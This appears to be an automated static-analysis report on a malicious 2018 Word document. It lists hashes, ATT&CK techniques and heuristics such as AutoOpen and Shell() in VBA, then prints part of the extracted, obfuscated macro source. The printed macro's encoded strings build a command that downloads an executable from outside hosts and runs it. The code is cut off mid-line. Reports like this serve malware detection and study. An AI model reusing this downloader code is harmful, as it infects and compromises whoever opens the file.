Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 931b1d4e107b4adc…

MALICIOUS

Office (OLE)

110.0 KB Created: 2018-02-15 00:53:00 Authoring application: Microsoft Office Word First seen: 2018-02-19
MD5: 9a4792ac7bf783390b6447c08f8bb604 SHA-1: fc21582e1da731497a25fc313de9888b7f3ff228 SHA-256: 931b1d4e107b4adcbe46411b42a22476ba9fa2a8aa5078b4a2734ebbfc3b9845
182 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The critical OLE_VBA_SHELL heuristic indicates the presence of a Shell() call within the VBA macros. The AutoOpen macro is also present, suggesting it executes automatically upon opening the document. The VBA script, though obfuscated, likely uses the HJjkJKD function to construct and execute a command, potentially downloading and running a second-stage payload.

Heuristics 6

  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 27545 bytes
SHA-256: 9ef24f03ce4346ba35eae0c4bdb780d057d9f1cdcc6517088b1d8072a3145bac
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "iQKwwJZCkMh"
Function tdzpsJYaZ()
On Error Resume Next
FwihfYm = (BfaTYXz - Int(WBSYRHPCVjuR) * qMvOzZHCToQpC / Oct(GklqpshHICq) - (jiqNfFV - Sin(4859938)))
zzENkkXi = (SfFYwpl - Int(NBiOY) * SjpEYI / Oct(DsXnsYMGIKU) - (WnFjRrDwEv - Sin(208274)))
mHYYKVz = (zHaXdp - Int(zQcPn) * lFQYwEqOlBU / Oct(DXMUMiH) - (OqkwocTJWNuYR - Sin(9511236)))
olOmwwH = (KVOinwsiMzm) + HJjkJKD("HdpuECTYzIhYYU.Q1'+'c+Q1c'+'dQ1cz71+z71+Q1cX'+'3Q1c+Q1cDolfwWnllz71+z71fwQ1c+Q1cOadFIlQ1c+Q1cfwledXUOKibmphOrwaYfZKHZ", 11, 89)
RssTY = (UlhrXHwvGra - Int(oWQjUiisiBB) * uJvQVdkR / Oct(onFcCozJ) - (UaOuOcrP - Sin(9798634)))
zdnqP = (qaFSjNzO - Int(fZcGIOA) * LESqfiOhbFA / Oct(TYGiTbtiUVPFZ) - (iqrTGfOtjKjb - Sin(2076637)))
AmzcBEH = (qlIHwTsHSzmjV - Int(NpoNQsEY) * HwUjZsvwsQAs / Oct(MHIFuWYuhZK) - (fqWTKSoSwBJcnS - Sin(2763022)))
jqRvwvzjp = (RpcDwIwTvUS) + HJjkJKD("StKjlZbrstaMm1wpI+wpIQ1wpI+wpIc+Q1cYc+UQ1c+Q1cYceUYc);foQ1c+Q1cr'+'ez71+z71aQ1c+Q1ccQ1'+'c+Q1chz71+z71Q1c+Q1c(z71+z71LQ1c+Q1wpI+wpIcQhQ1c+Q1casf'+'c iQ1'+'c+Q1cnQ1c'+'+Q1cwpI+wpI'+' LQh'+'AQ1c+Q1cDCQTZPaSZIpqNAtoifJ", 14, 186)
nNPpGzKWH = (CZfhwMZmLwjSc - Int(BumKqX) * NpOAV / Oct(SBbkRE) - (MzUNRIArR - Sin(6577354)))
HKlluq = (sVYwAnOUL - Int(okQhdFGljOOOE) * EaZshXIvHqIAiU / Oct(nVzsi) - (NDjoCtFiT - Sin(1845855)))
duqiGiY = (QctaOWmols - Int(aYcWllvtQW) * YrWtEfdCNn / Oct(ijGaaZzLDsi) - (dHLjHUmasHq - Sin(656103)))
ubviQjmlFhJ = (zhzvaYKj) + HJjkJKD("TnHXJz71+Q1c+Q1'+'c '+'(Q1'+'c+Q1cUz71+z71Q1c+Q1cYc.exQ1c+Q1cUz71+z'+'7MNjFj", 6, 66)
TADvOsOXp = (uHslswViaNo - Int(tDXWEhEsK) * ukNSQwJQjnoIJv / Oct(jZIozFc) - (XzNnnS - Sin(2418772)))
hHBuVJ = (ZWvMH - Int(ZiZYKjAik) * cLUHwDKtSfpTD / Oct(VwUmOl) - (iDKAZPb - Sin(9051445)))
oCivoJj = (EoOTKczFFWLBtc - Int(GfQCLMOTzft) * JHWojw / Oct(aAEjwtBPj) - (aNpactuwYjjpV - Sin(2973571)))
tpstPE = (fptutQLKWtFS) + HJjkJKD("D1z71+z71cra.coQ1c+Q1cm/1Q1c+Q1cRurEqQ1cz71+z71+wpI+wpIQ1cF/wpI+wpI?Q1c+'+'Q1chttQPPmzZPPjojZTOjJbThCKwVwKV", 2, 81)
FXaAcJpij = (Pmlfpvh - Int(NRwKwKSYu) * wfPYmHvqVMmFj / Oct(sRmjQC) - (AljzfjP - Sin(5173160)))
PSiMYOtkwj = (lInWiJ - Int(qzdkwZUmHhrShX) * HrizujbHXfP / Oct(bdSMciV) - (jnSOaRwpzswtjC - Sin(216685)))
ijJTzunVwvz = (sjPOOsFEiLsIpU - Int(kLbzUZP) * cjmJfiViZ / Oct(WUwSHhrhOf) - (YnzcdMi - Sin(1487760)))
WGGSmQfvaZ = (SIKwhaYSEhhOcp) + HJjkJKD("AapwkYCKwOPzQ1c+Q1czwpI+'+'wpI71+z71eak;Q1c+Q1c}caQ1c+Q1ctwpI+wpIchQ1c+Q1c{}wpI+wpI}QBZSnHcWFIiqJzrSnz", 13, 73)
mdCfa = (DuInLjIE - Int(mjCVmXWwAqnjbE) * HsSiEH / Oct(bJviNutLtAi) - (pBXAaJzkSKj - Sin(7088503)))
aTMkTiiwGY = (pAfTRaznFF - Int(aIJcCozmwrPGj) * rYHXNRdKCXuNs / Oct(aiwjwfZSzV) - (iNtmlauwbZB - Sin(8443028)))
XkClMLorH = (rnOPFmhp - Int(VMPufJESZYmpjE) * XRwARRCYqjr / Oct(QJMNnr) - (shXqvkrIAdF - Sin(5078974)))
SzRtcYfkwf = (ciaVNjTjSAT) + HJjkJKD("auWpQnzddX1c+Q1cpz71+z71:Q1c+'+'Q1c//mz71'+'+z71Q1c+Q1ccQ1c+Q1cf2Q1c+Q1c1Q1c+Q'+'1c.wpI+w'+'pIru/'+'LRQwpI+wpI1c+z71+z71Q1cExBQ1c+Q1cRQ1c+Q1c6/Q1c+Q1c?httQ1c+Q1cp:Q1c'+'+Q1c/Q1c+Q1c'+'/wwwQ1c+Q1c.socialQ1csK", 11, 195)
PdINVhR = (zwCMCAa - Int(PZICv) * FjZmRYYFTCZu / Oct(bIkDAnSGcFWbrN) - (SzWPrmJDaBqo - Sin(7479020)))
vBOjwm = (iAmIBztiVIPdf - Int(iDKaKkmUfJ) * MSEKB / Oct(wfLzFk) - (qNundOAO - Sin(1451879)))
RwMwh = (ZXqQiCHKUdG - Int(hoUUwQwTfYTs) * wpzrRInEmfn / Oct(tUcEnlG) - (AjGSJPj - Sin(3146860)))
UKaroEpYY = (fSnYOnAoIM) + HJjkJKD("IcOXDlGwjncrDMkEOIbQ1c{LQz71+z71csCzibDYKf", 20, 13)
DGoPkOFup = (QijhCZXQlfj - Int(NnOzUim) * QkzlzKnuZINrT / Oct(QiblAuvUKdwzrJ) - (RXFZmT - Sin(6166312)))
jnZJa = (vhrmcqcSrsRW - Int(VjhrwvaUnCS) * nHlIRhdktf / Oct(IISdh) - (GEamWvn - Sin(4478361)))
HrdQiRzaawC = (nXFQIfYHojr - Int(ZLnmqp) * YifStIjwsrQ / Oct(wkjtGid) - (XkAduqBjs - Sin(7386476)))
lMrUAwLwhi = (vIhJFwVOrnMf) + HJjkJKD("rYsJRmEar]'+'81+[CHar]104),[stRINgz71+z71][CHar]36).RePlAc
... (truncated)

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